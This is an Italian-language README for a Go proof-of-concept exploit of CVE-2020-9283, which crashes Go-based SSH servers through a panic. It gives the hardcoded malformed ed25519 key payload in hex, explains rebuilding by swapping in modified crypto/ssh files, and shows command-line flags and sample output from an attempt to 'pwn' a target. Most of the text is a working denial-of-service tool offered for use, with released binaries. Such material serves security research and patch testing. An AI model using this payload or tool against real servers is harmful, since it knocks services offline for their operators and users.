
Exploit per CVE-2020-9283 basato su Go
Questo progetto è ispirato al POC originale trovato qui github.com/mark-adams/exploits/CVE-2020-9283. Ero curioso di come fosse implementata la libreria SSH di Go, così ho deciso di implementare il PoC usando Go.
Un breve articolo si trova qui https://dev.to/brompwnie/modifying-go-s-crypto-ssh-library-for-cve-2020-9283-26a7
Questo invoca un panic su un server SSH basato su Go che può portare a un DoS.
Ho rilasciato i binari nella sezione Release, ma puoi ricostruirli tu stesso usando il codice sorgente allegato.
Ho deciso di modificare la libreria crypto di Go direttamente sul mio sistema per capire come funziona, non è ideale e probabilmente non è il modo migliore per farlo ma funziona ;) Se vuoi ricostruire usando i moduli GO, sostituisci il contenuto dei file Crypto/ssh client_auth.go, handshake.go, transport.go sul tuo sistema locale con i file ".bak" situati qui. Questi file modificati contengono output di debugging dettagliato e un payload hardcoded di "0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161" che innesca il panic.
Vedrai molto output di debugging ed "errori", è normale. Se il tuo target ha fatto panic, dovresti vedere errori associati a "bad key lengths". Se vuoi testarlo localmente, usa il codice vulnerabile che si trova qui github.com/mark-adams/exploits/CVE-2020-9283
# ./CVE-2020-9283 -h
Usage of ./CVE-2020-9283:
-host string
IP address of SSH host to target (default "localhost")
-key string
ssh-ed25519 private key to use (default "thekey")
-port string
Port to target (default "22")
# ./CVE-2020-9283 -port=2022
./CVE-2020-9283 -port=2022
+] Sploit for CVE-2020-9283
[+] Attempting to pwn: localhost:2022
[!] Attempting: cMSG_USERAUTH_REQUEST
[+] userAuthRequestMsg User: notme
[+] userAuthRequestMsg Service: ssh-connection
[ERROR] ssh: handshake failed: EOF
[+] This should have invoked a panic on the SSH target i.e 'panic: ed25519: bad public key length'